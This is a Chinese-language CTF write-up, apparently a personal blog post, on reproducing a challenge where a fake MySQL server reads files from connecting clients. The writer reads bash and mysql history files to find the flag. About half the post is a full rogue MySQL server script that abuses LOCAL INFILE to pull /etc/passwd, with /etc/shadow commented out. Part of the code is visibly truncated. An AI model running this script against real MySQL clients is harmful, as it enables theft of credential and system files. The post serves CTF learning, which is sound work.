这道题目其实并不复杂,就是利用脚本来读取文件,好吧,我在wp放出之前也不知道有这个操作,不过学习到了就是好的。这个是之前有师傅写过的 通过伪造成mysql服务端来攻击mysql客户端的操作。我在复现的时候遇到了好几个问题导致读取不了文件,主要是还没有搞清楚题目的意思。不过最终我还是复现成功了。
首先题目要求我们输入自己的服务器ip以及端口,并且要在服务器上运行mysql服务。
刚好之前我服务器装了mysql,所以把agent.py这个文件放到服务器上运行一下,然后再让它扫描看看是否成功。
这样就可以让客户端知道我们运行了mysql服务,而且这个agent.py要一直开启着,不然无法进行接下来的操作,所以我一开始在网页端操作我的服务器的时候无法开多终端搞得我一直复现不了,也是傻的可以,不知道用ssh连服务器。。。。。
然后我们再将网上有的脚本再在我们的服务器上运行,记得设置好端口号,不要端口冲突了,然后再设置你要读取的文件。不知道为啥我在github上下的脚本没有办法读到文件,所以我找其他脚本又浪费了好多时间,虽然最终的脚本读到的文件内容不会换行,但好在可以读取到文件。
我们可以看到,当我们成功读取文件的时候,会显示服务器存在弱口令,而如果只显示未扫描到弱口令的话,可能是脚本哪里没有配置好,没有读取到文件。
因为我的脚本读取出来的文件内容没有换行,看着不太舒服,之后的几个文件内容我就不截图了。
根据思路去读取 /root/.bash_history.log可以看到客户端的操作历史,然后可以看到
/home/dc2-user/ctf_web_2/app/main/views.py
这个文件,里面提示了
flag in mysql curl@localhost database:security table:flag
那去读 /var/lib/mysql/security/flag.idb
貌似没有看到flag,而且客户端显示的是未扫描到弱口令,所以又找到一个思路,去访问/root/.mysql_history看看
就找到flag了。
这里附上我使用的脚本
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 3307
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
# tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format = logging.StreamHandler()
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
# r'c:\boot.ini',
# r'c:\windows\win.ini',
# r'c:\windows\system32\drivers\etc\hosts',
'/etc/passwd',
# '/etc/shadow',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
# daemonize()
asyncore.loop()
再附上我参考的几篇文章
https://www.cnblogs.com/leixiao-/p/10735047.html
https://www.zhaoj.in/read-5269.html
最近一直在复现题目,还有看一些p神的文章的思路,所以最近的记录比较多,笔记里记的比较多,博客上就放了一些困扰我比较久的东西吧。昨天打了*CTF发现自己好像也没啥进步,还是一道都不会做,应该是自己的积累还不够吧,希望可以加油学下去。